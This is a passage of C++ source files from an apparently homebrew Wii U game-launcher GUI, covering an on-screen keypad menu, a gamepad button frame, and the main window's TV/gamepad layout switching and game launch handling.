backButton.clicked.connect(this, &KeyPadMenu::OnBackButtonClick);\n    backButton.setTrigger(&touchTrigger);\n    backButton.setTrigger(&wpadTouchTrigger);\n    backButton.setSoundClick(buttonClickSound);\n    backButton.setEffectGrow();\n    append(&backButton);\n\n    okText.setPosition(0, -10);\n    okButton.setLabel(&okText);\n    okButton.setImage(&okImage);\n    okButton.setAlignment(ALIGN_BOTTOM | ALIGN_RIGHT);\n    okButton.clicked.connect(this, &KeyPadMenu::OnOkButtonClick);\n    okButton.setTrigger(&touchTrigger);\n    okButton.setTrigger(&wpadTouchTrigger);\n    okButton.setSoundClick(buttonClickSound);\n    okButton.setEffectGrow();\n    append(&okButton);\n\n    titleText.setColor(glm::vec4(1.0f, 1.0f, 1.0f, 1.0f));\n    titleText.setFontSize(46);\n    titleText.setPosition(0, 230);\n    titleText.setBlurGlowColor(5.0f, glm::vec4(0.0, 0.0, 0.0f, 1.0f));\n    titleText.setText(strTitle.c_str());\n    append(&titleText);\n\n    deleteButton.setImage(&deleteButtonImg);\n    deleteButton.setImageOver(&deleteButtonImgClick);\n    deleteButton.setTrigger(&touchTrigger);\n    deleteButton.setTrigger(&wpadTouchTrigger);\n    deleteButton.setSoundClick(buttonClickSound);\n    deleteButton.setPosition(-(keyPadButtonImgData->getWidth() + 5) * (MAX_COLS - 1) * 0.5f + (keyPadButtonImgData->getWidth() + 5) * MAX_COLS, -60);\n    deleteButton.setEffectGrow();\n    deleteButton.clicked.connect(this, &KeyPadMenu::OnDeleteButtonClick);\n    append(&deleteButton);\n\n\n    for(int i = 0; i < MAX_FIELDS; i++)\n    {\n        char fieldTxt[2];\n        fieldTxt[0] = (i < (int)currentText.size()) ? currentText[i] : 0;\n        fieldTxt[1] = 0;\n\n        GuiText *text = new GuiText(fieldTxt, 46, glm::vec4(0.0f, 0.0f, 0.0f, 1.0f));\n        GuiImage *image = new GuiImage(fieldImageData);\n        GuiButton *button = new GuiButton(image->getWidth(), image->getHeight());\n        button->setImage(image);\n        button->setLabel(text);\n        button->setPosition(-(image->getWidth() + 8) * (MAX_FIELDS - 1) * 0.5f + (image->getWidth() + 8) * i, 120);\n        button->setTrigger(&touchTrigger);\n        button->setTrigger(&wpadTouchTrigger);\n        button->setSoundClick(buttonClickSound);\n        button->clicked.connect(this, &KeyPadMenu::OnTextPositionChange);\n        append(button);\n\n        textFieldText.push_back(text);\n        textFieldImg.push_back(image);\n        textFieldBtn.push_back(button);\n    }\n\n    fieldBlinkerImg.setAlignment(ALIGN_LEFT | ALIGN_LEFT);\n    fieldBlinkerImg.setPosition(5, 0);\n\n    if(textPosition < MAX_FIELDS)\n        textFieldBtn[textPosition]->setIcon(&fieldBlinkerImg);\n\n    int row = 0, column = 0;\n\n    for(int i = 0; cpKeyPadButtons[i]; i++)\n    {\n        char buttonTxt[2];\n        buttonTxt[0] = cpKeyPadButtons[i];\n        buttonTxt[1] = 0;\n\n\n        GuiImage *image = new GuiImage(keyPadButtonImgData);\n        GuiImage *imageClick = new GuiImage(keyPadButtonClickImgData);\n        GuiButton *button = new GuiButton(image->getWidth(), image->getHeight());\n        GuiText *text = new GuiText(buttonTxt, 46, glm::vec4(0.0f, 0.0f, 0.0f, 1.0f));\n        text->setTextBlur(5.0f);\n\n\n        button->setImage(image);\n        button->setImageOver(imageClick);\n        button->setLabel(text);\n        button->setPosition(-(image->getWidth() + 5) * (MAX_COLS - 1) * 0.5f + (image->getWidth() + 5) * column, -60 - (image->getHeight() + 5) * row);\n        button->setTrigger(&touchTrigger);\n        button->setTrigger(&wpadTouchTrigger);\n        button->setSoundClick(buttonClickSound);\n        button->setEffectGrow();\n        button->clicked.connect(this, &KeyPadMenu::OnKeyPadButtonClick);\n        append(button);\n\n\n        keyText.push_back(text);\n        keyButton.push_back(button);\n        keyImg.push_back(image);\n        keyImgOver.push_back(imageClick);\n\n        column++;\n        if(column >= MAX_COLS)\n        {\n            column = 0;\n            row++;\n        }\n    }\n\n    DPADButtons.setTrigger(&buttonATrigger);\n    DPADButtons.setTrigger(&buttonBTrigger);\n    DPADButtons.clicked.connect(this, &KeyPadMenu::OnDPADClick);\n    append(&DPADButtons);\n\n    UpdateTextFields();\n}\n\nKeyPadMenu::~KeyPadMenu()\n{\n    for(u32 i = 0; i < textFieldImg.size(); ++i)\n    {\n        delete textFieldText[i];\n        delete textFieldImg[i];\n        delete textFieldBtn[i];\n    }\n\n    for(u32 i = 0; i < keyButton.size(); ++i)\n    {\n        delete keyButton[i];\n        delete keyText[i];\n        delete keyImg[i];\n        delete keyImgOver[i];\n    }\n    Resources::RemoveImageData(backImageData);\n    Resources::RemoveImageData(okImageData);\n    Resources::RemoveImageData(keyPadBgImageData);\n    Resources::RemoveImageData(keyPadButtonImgData);\n    Resources::RemoveImageData(keyPadButtonClickImgData);\n    Resources::RemoveImageData(deleteButtonImgData);\n    Resources::RemoveImageData(deleteButtonClickImgData);\n    Resources::RemoveImageData(fieldImageData);\n    Resources::RemoveImageData(fieldBlinkerImageData);\n    Resources::RemoveSound(buttonClickSound);\n}\n\nvoid KeyPadMenu::UpdateTextFields()\n{\n    for(u32 i = 0; i < textFieldText.size(); i++)\n    {\n        char text[2];\n        text[0] = (i < currentText.size()) ? currentText[i] : 0;\n        text[1] = 0;\n\n        textFieldText[i]->setText(text);\n    }\n}\n\nvoid KeyPadMenu::OnKeyPadButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    for(u32 i = 0; i < keyButton.size(); i++)\n    {\n        if(button == keyButton[i] && textPosition < MAX_FIELDS)\n        {\n            char text[2];\n            text[0] = cpKeyPadButtons[i];\n            text[1] = 0;\n\n            currentText.insert(textPosition, text);\n            UpdateTextFields();\n\n            textFieldBtn[textPosition]->setIcon(NULL);\n            textPosition++;\n            if(textPosition < MAX_FIELDS)\n                textFieldBtn[textPosition]->setIcon(&fieldBlinkerImg);\n            break;\n        }\n    }\n}\n\nvoid KeyPadMenu::OnTextPositionChange(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    for(u32 i = 0; i < textFieldBtn.size(); i++)\n    {\n        if(textFieldBtn[i] == button)\n        {\n            if(textPosition < MAX_FIELDS)\n                textFieldBtn[textPosition]->setIcon(NULL);\n\n            textPosition = i;\n            if(textPosition > (int)currentText.size())\n                textPosition = currentText.size();\n\n            textFieldBtn[textPosition]->setIcon(&fieldBlinkerImg);\n        }\n    }\n}\n\nvoid KeyPadMenu::OnDeleteButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(textPosition > 0)\n    {\n        if(textPosition < MAX_FIELDS)\n            textFieldBtn[textPosition]->setIcon(NULL);\n\n        textPosition--;\n        currentText.erase(textPosition, 1);\n        UpdateTextFields();\n\n        textFieldBtn[textPosition]->setIcon(&fieldBlinkerImg);\n    }\n}\n\nvoid KeyPadMenu::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n\tif(trigger == &buttonATrigger)\n\t{\n        //! do not auto launch when wiimote is pointing to screen and presses A\n        if((controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer)\n        {\n            return;\n        }\n\t\tOnOkButtonClick(button,controller,trigger);\n\t}\n\telse if(trigger == &buttonBTrigger)\n\t{\n\t\tOnBackButtonClick(button,controller,trigger);\n\t}\n}\n\nvoid KeyPadMenu::draw(CVideo *video)\n{\n    if((video->getFrameCount() - lastFrameCount) >= 30)\n    {\n        lastFrameCount = video->getFrameCount();\n\n        bool blinkerVisible = fieldBlinkerImg.isVisible();\n        fieldBlinkerImg.setVisible(!blinkerVisible);\n    }\n\n    GuiFrame::draw(video);\n}\n"
  },
  {
    "path": "src/menu/KeyPadMenu.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _KEY_PAD_MENU_H_\n#define _KEY_PAD_MENU_H_\n\n#include \"gui/Gui.h\"\n#include \"settings/SettingsDefs.h\"\n\nclass KeyPadMenu : public GuiFrame, public sigslot::has_slots<>\n{\npublic:\n    KeyPadMenu(int w, int h, const std::string & strTitle, const std::string & prefil);\n    virtual ~KeyPadMenu();\n\n    void draw(CVideo *video);\n\n    sigslot::signal2<GuiElement *, const std::string &> settingsOkClicked;\n    sigslot::signal1<GuiElement *> settingsBackClicked;\nprivate:\n    void UpdateTextFields();\n    void OnTextPositionChange(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnDeleteButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnKeyPadButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnBackButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n    {\n        settingsBackClicked(this);\n    }\n    void OnOkButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n    {\n        settingsOkClicked(this, currentText);\n    }\n\n    void OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\n    GuiSound *buttonClickSound;\n    GuiImageData *backImageData;\n    GuiImage backImage;\n    GuiButton backButton;\n\n    GuiImageData *okImageData;\n    GuiImage okImage;\n    GuiButton okButton;\n    GuiText okText;\n\n    GuiTrigger touchTrigger;\n    GuiTrigger wpadTouchTrigger;\n    GuiTrigger buttonATrigger;\n    GuiTrigger buttonBTrigger;\n\n    GuiText titleText;\n    GuiImageData *keyPadBgImageData;\n    GuiImageData *keyPadButtonImgData;\n    GuiImageData *keyPadButtonClickImgData;\n    GuiImageData *deleteButtonImgData;\n    GuiImageData *deleteButtonClickImgData;\n    GuiImageData *fieldImageData;\n    GuiImageData *fieldBlinkerImageData;\n\n    GuiImage bgImage;\n    GuiImage fieldBlinkerImg;\n\n    GuiImage deleteButtonImg;\n    GuiImage deleteButtonImgClick;\n    GuiButton deleteButton;\n\n    GuiButton DPADButtons;\n    std::vector<GuiText *> textFieldText;\n    std::vector<GuiImage *> textFieldImg;\n    std::vector<GuiButton *> textFieldBtn;\n\n\n    std::vector<GuiText *> keyText;\n    std::vector<GuiImage *> keyImg;\n    std::vector<GuiImage *> keyImgOver;\n    std::vector<GuiButton *> keyButton;\n\n    int textPosition;\n    std::string currentText;\n    u32 lastFrameCount;\n};\n\n#endif //_KEY_PAD_MENU_H_\n"
  },
  {
    "path": "src/menu/MainDrcButtonsFrame.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _MAIN_DRC_BUTTONS_FRAME_H_\n#define _MAIN_DRC_BUTTONS_FRAME_H_\n\n#include \"gui/Gui.h\"\n#include \"resources/Resources.h\"\n\nclass MainDrcButtonsFrame : public GuiFrame, public sigslot::has_slots<>\n{\npublic:\n    MainDrcButtonsFrame(int w, int h)\n        : GuiFrame(w, h)\n        , buttonClickSound(Resources::GetSound(\"settings_click_2.mp3\"))\n        , screenSwitchSound(Resources::GetSound(\"screenSwitchSound.mp3\"))\n        , switchIconData(Resources::GetImageData(\"layoutSwitchButton.png\"))\n        , settingsIconData(Resources::GetImageData(\"settingsButton.png\"))\n        , switchIcon(switchIconData)\n        , settingsIcon(settingsIconData)\n        , switchLayoutButton(switchIcon.getWidth(), switchIcon.getHeight())\n        , settingsButton(settingsIcon.getWidth(), settingsIcon.getHeight())\n        , gameImageDownloadButton(w, h)\n        , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)\n        , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)\n        , settingsTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_ZL, true)\n        , switchLayoutTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_ZR, true)\n        , plusTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_PLUS, true)\n    {\n        settingsButton.setClickable(true);\n        settingsButton.setImage(&settingsIcon);\n        settingsButton.setTrigger(&touchTrigger);\n        settingsButton.setTrigger(&wpadTouchTrigger);\n        settingsButton.setTrigger(&settingsTrigger);\n        settingsButton.setAlignment(ALIGN_LEFT | ALIGN_BOTTOM);\n        settingsButton.setSoundClick(buttonClickSound);\n        settingsButton.setEffectGrow();\n        settingsButton.clicked.connect(this, &MainDrcButtonsFrame::OnSettingsButtonClick);\n        append(&settingsButton);\n\n        switchLayoutButton.setClickable(true);\n        switchLayoutButton.setImage(&switchIcon);\n        switchLayoutButton.setTrigger(&touchTrigger);\n        switchLayoutButton.setTrigger(&wpadTouchTrigger);\n        switchLayoutButton.setTrigger(&switchLayoutTrigger);\n        switchLayoutButton.setAlignment(ALIGN_RIGHT | ALIGN_BOTTOM);\n        switchLayoutButton.setSoundClick(screenSwitchSound);\n        switchLayoutButton.setEffectGrow();\n        switchLayoutButton.clicked.connect(this, &MainDrcButtonsFrame::OnLayoutSwithClick);\n        append(&switchLayoutButton);\n\n        gameImageDownloadButton.setClickable(true);\n        gameImageDownloadButton.setSoundClick(buttonClickSound);\n        gameImageDownloadButton.setTrigger(&plusTrigger);\n        gameImageDownloadButton.clicked.connect(this, &MainDrcButtonsFrame::OnGameImageDownloadButtonClicked);\n        append(&gameImageDownloadButton);\n    }\n    virtual ~MainDrcButtonsFrame()\n    {\n        Resources::RemoveImageData(switchIconData);\n        Resources::RemoveImageData(settingsIconData);\n        Resources::RemoveSound(buttonClickSound);\n        Resources::RemoveSound(screenSwitchSound);\n    }\n\n    sigslot::signal1<GuiElement *> settingsButtonClicked;\n    sigslot::signal1<GuiElement *> layoutSwitchClicked;\n    sigslot::signal1<GuiElement *> gameImageDownloadClicked;\nprivate:\n    void OnSettingsButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *) {\n        settingsButtonClicked(this);\n    }\n    void OnLayoutSwithClick(GuiButton *button, const GuiController *controller, GuiTrigger *) {\n        layoutSwitchClicked(this);\n    }\n    void OnGameImageDownloadButtonClicked(GuiButton *button, const GuiController *controller, GuiTrigger *) {\n        gameImageDownloadClicked(this);\n    }\n\n    GuiSound *buttonClickSound;\n    GuiSound *screenSwitchSound;\n    GuiImageData *switchIconData;\n    GuiImageData *settingsIconData;\n    GuiImage switchIcon;\n    GuiImage settingsIcon;\n\n    GuiButton switchLayoutButton;\n    GuiButton settingsButton;\n    GuiButton gameImageDownloadButton;\n\n    GuiTrigger touchTrigger;\n    GuiTrigger wpadTouchTrigger;\n    GuiTrigger settingsTrigger;\n    GuiTrigger switchLayoutTrigger;\n    GuiTrigger plusTrigger;\n};\n\n#endif //_SETTINGS_WINDOW_H_\n"
  },
  {
    "path": "src/menu/MainWindow.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"MainWindow.h\"\n#include \"dynamic_libs/os_functions.h\"\n#include \"dynamic_libs/socket_functions.h\"\n#include \"Application.h\"\n#include \"game/GameList.h\"\n#include \"game/GameLauncher.h\"\n#include \"menu/SettingsMenu.h\"\n#include \"menu/GameLauncherMenu.h\"\n#include \"gui/GuiGameCarousel.h\"\n#include \"gui/GuiIconCarousel.h\"\n#include \"gui/GuiIconGrid.h\"\n#include \"settings/CSettings.h\"\n#include \"settings/CSettingsGame.h\"\n#include \"common/retain_vars.h\"\n#include \"utils/StringTools.h\"\n#include \"utils/logger.h\"\n\nMainWindow::MainWindow(int w, int h)\n    : width(w)\n    , height(h)\n    , gameClickSound(Resources::GetSound(\"game_click.mp3\"))\n    , mainSwitchButtonFrame(NULL)\n    , currentTvFrame(NULL)\n    , currentDrcFrame(NULL)\n    , launchingGame(false)\n\n{\n    for(int i = 0; i < 4; i++)\n    {\n        std::string filename = strfmt(\"player%i_point.png\", i+1);\n        pointerImgData[i] = Resources::GetImageData(filename.c_str());\n        pointerImg[i] = new GuiImage(pointerImgData[i]);\n        pointerImg[i]->setScale(1.5f);\n        pointerValid[i] = false;\n    }\n\n    SetupMainView();\n}\n\nMainWindow::~MainWindow()\n{\n    while(!tvElements.empty())\n    {\n        delete tvElements[0];\n        remove(tvElements[0]);\n    }\n    while(!drcElements.empty())\n    {\n        delete drcElements[0];\n        remove(drcElements[0]);\n    }\n    for(int i = 0; i < 4; i++)\n    {\n        delete pointerImg[i];\n        Resources::RemoveImageData(pointerImgData[i]);\n    }\n\n    Resources::RemoveSound(gameClickSound);\n}\n\nvoid MainWindow::updateEffects()\n{\n    //! dont read behind the initial elements in case one was added\n    u32 tvSize = tvElements.size();\n    u32 drcSize = drcElements.size();\n\n    for(u32 i = 0; (i < drcSize) && (i < drcElements.size()); ++i)\n    {\n        drcElements[i]->updateEffects();\n    }\n\n    //! only update TV elements that are not updated yet because they are on DRC\n    for(u32 i = 0; (i < tvSize) && (i < tvElements.size()); ++i)\n    {\n        u32 n;\n        for(n = 0; (n < drcSize) && (n < drcElements.size()); n++)\n        {\n            if(tvElements[i] == drcElements[n])\n                break;\n        }\n        if(n == drcElements.size())\n        {\n            tvElements[i]->updateEffects();\n        }\n    }\n}\n\nvoid MainWindow::update(GuiController *controller)\n{\n    //! dont read behind the initial elements in case one was added\n    //u32 tvSize = tvElements.size();\n\n    if(controller->chan & GuiTrigger::CHANNEL_1)\n    {\n        u32 drcSize = drcElements.size();\n\n        for(u32 i = 0; (i < drcSize) && (i < drcElements.size()); ++i)\n        {\n            drcElements[i]->update(controller);\n        }\n    }\n    else\n    {\n        u32 tvSize = tvElements.size();\n\n        for(u32 i = 0; (i < tvSize) && (i < tvElements.size()); ++i)\n        {\n            tvElements[i]->update(controller);\n        }\n    }\n\n//    //! only update TV elements that are not updated yet because they are on DRC\n//    for(u32 i = 0; (i < tvSize) && (i < tvElements.size()); ++i)\n//    {\n//        u32 n;\n//        for(n = 0; (n < drcSize) && (n < drcElements.size()); n++)\n//        {\n//            if(tvElements[i] == drcElements[n])\n//                break;\n//        }\n//        if(n == drcElements.size())\n//        {\n//            tvElements[i]->update(controller);\n//        }\n//    }\n\n    if(controller->chanIdx >= 1 && controller->chanIdx <= 4 && controller->data.validPointer)\n    {\n        int wpadIdx = controller->chanIdx - 1;\n        f32 posX = controller->data.x;\n        f32 posY = controller->data.y;\n        pointerImg[wpadIdx]->setPosition(posX, posY);\n        pointerImg[wpadIdx]->setAngle(controller->data.pointerAngle);\n        pointerValid[wpadIdx] = true;\n    }\n}\n\nvoid MainWindow::drawDrc(CVideo *video)\n{\n    for(u32 i = 0; i < drcElements.size(); ++i)\n    {\n        drcElements[i]->draw(video);\n    }\n\n    for(int i = 0; i < 4; i++)\n    {\n        if(pointerValid[i])\n        {\n            pointerImg[i]->setAlpha(0.5f);\n            pointerImg[i]->draw(video);\n            pointerImg[i]->setAlpha(1.0f);\n        }\n    }\n}\n\nvoid MainWindow::drawTv(CVideo *video)\n{\n    for(u32 i = 0; i < tvElements.size(); ++i)\n    {\n        tvElements[i]->draw(video);\n    }\n\n    for(int i = 0; i < 4; i++)\n    {\n        if(pointerValid[i])\n        {\n            pointerImg[i]->draw(video);\n            pointerValid[i] = false;\n        }\n    }\n}\n\nvoid MainWindow::SetupMainView()\n{\n    if(CSettings::getValueAsU16(CSettings::GameStartIndex) > GameList::instance()->size())\n        CSettings::setValueAsU16(CSettings::GameStartIndex,0);\n\n    switch(CSettings::getValueAsU8(CSettings::GameViewModeTv))\n    {\n        case VIEW_ICON_GRID: {\n            currentTvFrame = new GuiIconGrid(width, height,(int)CSettings::getValueAsU16(CSettings::GameStartIndex));\n            break;\n        }\n        default:\n        case VIEW_ICON_CAROUSEL: {\n            currentTvFrame = new GuiIconCarousel(width, height,(int)CSettings::getValueAsU16(CSettings::GameStartIndex));\n            break;\n        }\n        case VIEW_COVER_CAROUSEL: {\n            currentTvFrame = new GuiGameCarousel(width, height,(int)CSettings::getValueAsU16(CSettings::GameStartIndex));\n            break;\n        }\n    }\n\n    currentTvFrame->setEffect(EFFECT_FADE, 10, 255);\n    currentTvFrame->setState(GuiElement::STATE_DISABLED);\n    currentTvFrame->effectFinished.connect(this, &MainWindow::OnOpenEffectFinish);\n    appendTv(currentTvFrame);\n\n    if(CSettings::getValueAsU8(CSettings::GameViewModeDrc) == CSettings::getValueAsU8(CSettings::GameViewModeTv))\n    {\n        currentDrcFrame = currentTvFrame;\n    }\n    else\n    {\n        switch(CSettings::getValueAsU8(CSettings::GameViewModeDrc))\n        {\n            default:\n            case VIEW_ICON_GRID: {\n                currentDrcFrame = new GuiIconGrid(width, height,(int)CSettings::getValueAsU16(CSettings::GameStartIndex));\n                break;\n            }\n            case VIEW_ICON_CAROUSEL: {\n                currentDrcFrame = new GuiIconCarousel(width, height,(int)CSettings::getValueAsU16(CSettings::GameStartIndex));\n                break;\n            }\n            case VIEW_COVER_CAROUSEL: {\n                currentDrcFrame = new GuiGameCarousel(width, height,(int)CSettings::getValueAsU16(CSettings::GameStartIndex));\n                break;\n            }\n        }\n    }\n\n    if(currentTvFrame != currentDrcFrame)\n    {\n        currentDrcFrame->setEffect(EFFECT_FADE, 10, 255);\n        currentDrcFrame->setState(GuiElement::STATE_DISABLED);\n        currentDrcFrame->effectFinished.connect(this, &MainWindow::OnOpenEffectFinish);\n    }\n\n    //! reconnect only to DRC game selection change\n    currentTvFrame->gameSelectionChanged.disconnect(this);\n    currentDrcFrame->gameSelectionChanged.disconnect(this);\n    currentTvFrame->gameLaunchClicked.disconnect(this);\n    currentDrcFrame->gameLaunchClicked.disconnect(this);\n\n\n    if(currentTvFrame != currentDrcFrame)\n    {\n        currentTvFrame->gameSelectionChanged.connect(this, &MainWindow::OnGameSelectionChange);\n        currentTvFrame->gameLaunchClicked.connect(this, &MainWindow::OnGameLaunchMenu);\n    }\n\n    currentDrcFrame->gameSelectionChanged.connect(this, &MainWindow::OnGameSelectionChange);\n    currentDrcFrame->gameLaunchClicked.connect(this, &MainWindow::OnGameLaunchMenu);\n\n    mainSwitchButtonFrame = new MainDrcButtonsFrame(width, height);\n    mainSwitchButtonFrame->settingsButtonClicked.connect(this, &MainWindow::OnSettingsButtonClicked);\n    mainSwitchButtonFrame->layoutSwitchClicked.connect(this, &MainWindow::OnLayoutSwitchClicked);\n    mainSwitchButtonFrame->gameImageDownloadClicked.connect(this, &MainWindow::OnImageDownloadClicked);\n    mainSwitchButtonFrame->setState(GuiElement::STATE_DISABLED);\n    mainSwitchButtonFrame->setEffect(EFFECT_FADE, 10, 255);\n    mainSwitchButtonFrame->setState(GuiElement::STATE_DISABLED);\n    mainSwitchButtonFrame->effectFinished.connect(this, &MainWindow::OnOpenEffectFinish);\n\n    appendDrc(currentDrcFrame);\n    append(mainSwitchButtonFrame);\n}\n\nvoid MainWindow::OnOpenEffectFinish(GuiElement *element)\n{\n    //! once the menu is open reset its state and allow it to be \"clicked/hold\"\n    element->effectFinished.disconnect(this);\n    element->clearState(GuiElement::STATE_DISABLED);\n}\n\nvoid MainWindow::OnCloseEffectFinish(GuiElement *element)\n{\n    //! remove element from draw list and push to delete queue\n    remove(element);\n    AsyncDeleter::pushForDelete(element);\n}\n\nvoid MainWindow::OnSettingsButtonClicked(GuiElement *element)\n{\n    CSettings::setValueAsU16(CSettings::GameStartIndex,currentDrcFrame->getSelectedGame());\n\n    //! disable element for triggering buttons again\n    mainSwitchButtonFrame->setState(GuiElement::STATE_DISABLED);\n    mainSwitchButtonFrame->setEffect(EFFECT_FADE, -10, 0);\n    mainSwitchButtonFrame->effectFinished.connect(this, &MainWindow::OnCloseEffectFinish);\n    mainSwitchButtonFrame = NULL;\n\n    currentTvFrame->setState(GuiElement::STATE_DISABLED);\n    currentTvFrame->setEffect(EFFECT_FADE, -10, 0);\n    currentTvFrame->effectFinished.connect(this, &MainWindow::OnCloseEffectFinish);\n\n    //! only fade out and delete the element once on equal screens\n    if(currentTvFrame != currentDrcFrame)\n    {\n        currentDrcFrame->setState(GuiElement::STATE_DISABLED);\n        currentDrcFrame->setEffect(EFFECT_FADE, -10, 0);\n        currentDrcFrame->effectFinished.connect(this, &MainWindow::OnCloseEffectFinish);\n    }\n\n    currentTvFrame = NULL;\n    currentDrcFrame = NULL;\n\n    //! show equal screen on settings\n    SettingsMenu * settings = new SettingsMenu(width, height);\n    settings->setEffect(EFFECT_FADE, 10, 255);\n    settings->setState(GuiElement::STATE_DISABLED);\n    settings->settingsQuitClicked.connect(this, &MainWindow::OnSettingsQuit);\n    settings->effectFinished.connect(this, &MainWindow::OnOpenEffectFinish);\n    append(settings);\n}\n\nvoid MainWindow::OnSettingsQuit(GuiElement *element)\n{\n    //! disable element for triggering buttons again\n    element->setState(GuiElement::STATE_DISABLED);\n    element->setEffect(EFFECT_FADE, -10, 0);\n    element->effectFinished.connect(this, &MainWindow::OnCloseEffectFinish);\n\n    SetupMainView();\n\n    //! re-append the deleting element at the end of the draw list\n    append(element);\n}\n\nvoid MainWindow::OnLayoutSwitchEffectFinish(GuiElement *element)\n{\n    if(!currentTvFrame || !currentDrcFrame || !mainSwitchButtonFrame)\n        return;\n\n    element->effectFinished.disconnect(this);\n    remove(currentDrcFrame);\n    remove(currentTvFrame);\n\n    GuiGameBrowser *tmpElement = currentDrcFrame;\n    currentDrcFrame = currentTvFrame;\n    currentTvFrame = tmpElement;\n\n    appendTv(currentTvFrame);\n    appendDrc(currentDrcFrame);\n    //! re-append on top\n    append(mainSwitchButtonFrame);\n\n    currentTvFrame->resetState();\n    currentTvFrame->setEffect(EFFECT_FADE, 15, 255);\n\n    currentDrcFrame->resetState();\n    currentDrcFrame->setEffect(EFFECT_FADE, 15, 255);\n\n    mainSwitchButtonFrame->clearState(GuiElement::STATE_DISABLED);\n\n    //! reconnect only to DRC game selection change\n    currentTvFrame->gameSelectionChanged.disconnect(this);\n    currentDrcFrame->gameSelectionChanged.disconnect(this);\n    currentTvFrame->gameLaunchClicked.disconnect(this);\n    currentDrcFrame->gameLaunchClicked.disconnect(this);\n\n    currentTvFrame->gameSelectionChanged.connect(this, &MainWindow::OnGameSelectionChange);\n    currentTvFrame->gameLaunchClicked.connect(this, &MainWindow::OnGameLaunchMenu);\n    currentDrcFrame->gameSelectionChanged.connect(this, &MainWindow::OnGameSelectionChange);\n    currentDrcFrame->gameLaunchClicked.connect(this, &MainWindow::OnGameLaunchMenu);\n\n    u8 tmpMode = CSettings::getValueAsU8(CSettings::GameViewModeDrc);\n\n    CSettings::setValueAsU8(CSettings::GameViewModeDrc, CSettings::getValueAsU8(CSettings::GameViewModeTv));\n    CSettings::setValueAsU8(CSettings::GameViewModeTv, tmpMode);\n}\n\nvoid MainWindow::OnLayoutSwitchClicked(GuiElement *element)\n{\n    if(!currentTvFrame || !currentDrcFrame || !mainSwitchButtonFrame)\n        return;\n\n    if(currentTvFrame == currentDrcFrame)\n        return;\n\n    currentTvFrame->setState(GuiElement::STATE_DISABLED);\n    currentTvFrame->setEffect(EFFECT_FADE, -15, 0);\n    currentTvFrame->effectFinished.connect(this, &MainWindow::OnLayoutSwitchEffectFinish);\n\n    currentDrcFrame->setState(GuiElement::STATE_DISABLED);\n    currentDrcFrame->setEffect(EFFECT_FADE, -15, 0);\n\n    mainSwitchButtonFrame->setState(GuiElement::STATE_DISABLED);\n}\n\nvoid MainWindow::OnGameLaunchMenu(GuiGameBrowser *element, int gameIdx)\n{\n    if(GameList::instance()->size() == 0)\n        return;\n\n    if (launchingGame)\n        return;\n\n    launchingGame = true;\n\n    mainSwitchButtonFrame->setState(GuiElement::STATE_DISABLED);\n    currentTvFrame->setState(GuiElement::STATE_DISABLED);\n    if(currentTvFrame != currentDrcFrame)\n    {\n        currentDrcFrame->setState(GuiElement::STATE_DISABLED);\n    }\n\n    if(CSettings::getValueAsU8(CSettings::ShowGameSettings) == SETTING_ON)\n    {\n        GameLauncherMenu * gameSettings = new GameLauncherMenu(gameIdx);\n        gameSettings->setEffect(EFFECT_FADE, 10, 255);\n        gameSettings->setState(GuiElement::STATE_DISABLED);\n        gameSettings->effectFinished.connect(this, &MainWindow::OnOpenEffectFinish);\n        gameSettings->gameLauncherMenuQuitClicked.connect(this, &MainWindow::OnGameLaunchMenuFinish);\n        gameSettings->gameLauncherGetHeaderClicked.connect(this, &MainWindow::OnGameLaunchGetHeader);\n        append(gameSettings);\n    }\n    else\n    {\n        